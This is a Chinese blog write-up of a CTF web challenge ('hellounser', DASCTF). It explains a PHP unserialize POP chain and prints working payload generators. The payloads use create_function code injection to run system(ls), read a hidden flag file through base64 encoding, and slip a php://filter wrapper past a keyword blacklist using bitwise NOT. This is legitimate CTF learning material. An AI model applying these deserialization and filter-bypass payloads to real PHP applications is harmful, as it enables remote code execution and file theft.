DASCTF Sept X 浙江工业大学秋季挑战赛 hellounser

文章描述了一个PHP代码示例,其中涉及类A和B的使用,类B的show方法包含了文件并执行特定函数。通过__toString方法和__invoke方法,可以将对象当作字符串和函数调用。文章讨论了如何绕过正则表达式的限制,通过create_function实现代码注入,从而获取flag。提到了利用反序列化和编码技术来避免过滤规则,达到目标。
摘要由CSDN通过智能技术生成

我傻逼,当时没做出来,赛后看wp才理解,正则也要复习复习了

<?php
class A {
    public $var;
    public function show(){
        echo $this->var;
    }
    public function __invoke(){
        $this->show();
    }
}
class B{
    public $func;
    public $arg;
    public function show(){
        $func = $this->func;
        if(preg_match('/^[a-z0-9]*$/isD', $this->func) || preg_match('/fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|\`|\{|\%|x|\&|\$|\*|\||\<|\"|\'|\=|\?|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|print|echo|read|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input|\.|log/i', $this->arg)) { 
            die('No!No!No!'); 
        } else { 
            include "flag.php";
            //There is no code to print flag in flag.php
            $func('', $this->arg); 
        }
    }
    public function __toString(){
        $this->show();
        return "<br>"."Nice Job!!"."<br>";
    } 
}

if(isset($_GET['pop'])){
    $aaa = unserialize($_GET['pop']);
    $aaa();
}
else{
    highlight_file(__FILE__);
}
?>

首先能出flag的地方只有B里show函数的文件包含部分,怎么调用这个show函数?同B类的__toString调用了,如何调用__toString?

__toString 当一个对象被当作一个字符串被调用。

对象当作字符串用,A里的show函数,输出var就是输出字符串,所以把这个var定义为B的对象,即可触发__toString,这个输出var是A的show方法,__invoke就会调用这个show方法

__invoke() 当脚本尝试将对象调用为函数时触发

下面的把pop接收后反序列化给 a a a ,而后 aaa,而后 aaa,而后aaa(),就满足了把对象当函数用

现在链子清楚了,我们可以看看如何构造命令,正则意思是func从开头到字母不能是纯数字或字母,i是大小写都匹配,s是匹配任何空白符号(空格,制表),D是结尾不是换行符号。这里很好绕过,比如含有一个_即可绕过。或者开头换行符号都可以

$arg过滤了一大堆东西,都满足就会包含flag.php,然后func作为函数名,两个参数一个空一个arg

这里可以使用create_function()这个函数,这个函数会创建匿名函数,内部会跟eval差不多的功能,所以代码注入

return(1);}任意代码;//

我们先看下目录

<?php
class A {
    public $var;   
}
class B{
    public $func;
    public $arg;
}
$a=new A;
$a->var=new B;
$a->var->func="create_function";
$a->var->arg='return(1);}system(ls);//';
echo serialize($a);
?>

Tru3flag.php应该就有真flag,包含此文件并输出,这里直接写会因为含有flag被正则过滤,所以需要编码后,输出

<?php
class A {
    public $var;   
}
class B{
    public $func;
    public $arg;
}
$a=new A;
$a->var=new B;
$a->var->func="create_function";
$a->var->arg='return(1);}require(base64_decode(VHJ1M2ZsYWcucGhw));var_dump(get_defined_vars());//';
echo serialize($a);
?>

返回一个包含所有已定义变量列表的多维数组,var_dump则是输出这个多维数组内容

还有一种取反的方法,我写的payload老是错,分段写比较好,但是我还是写一起了

<?php
class A {
    public $var;   
}
class B{
    public $func;
    public $arg;
}
$a=new A;
$a->var=new B;
$a->var->func="create_function";
$a->var->arg='return(1);}require(~('.strval(~('php://filter/read=convert.base64-encode/resource=Tru3flag.php')).'));//';
echo urlencode(serialize($a));
?>

这里对伪协议取反,然后strval转化成字符串,两边的点是为了把这个取反后的字符串跟两端代码连接在一起。不分开连,直接写字符串,会被认为是整体的一串字符,然后被正则过滤,因为取反后有许多不可见字符,因此需要url编码

得到的base64代码,解码即出flag

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Tajang

感谢投喂

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值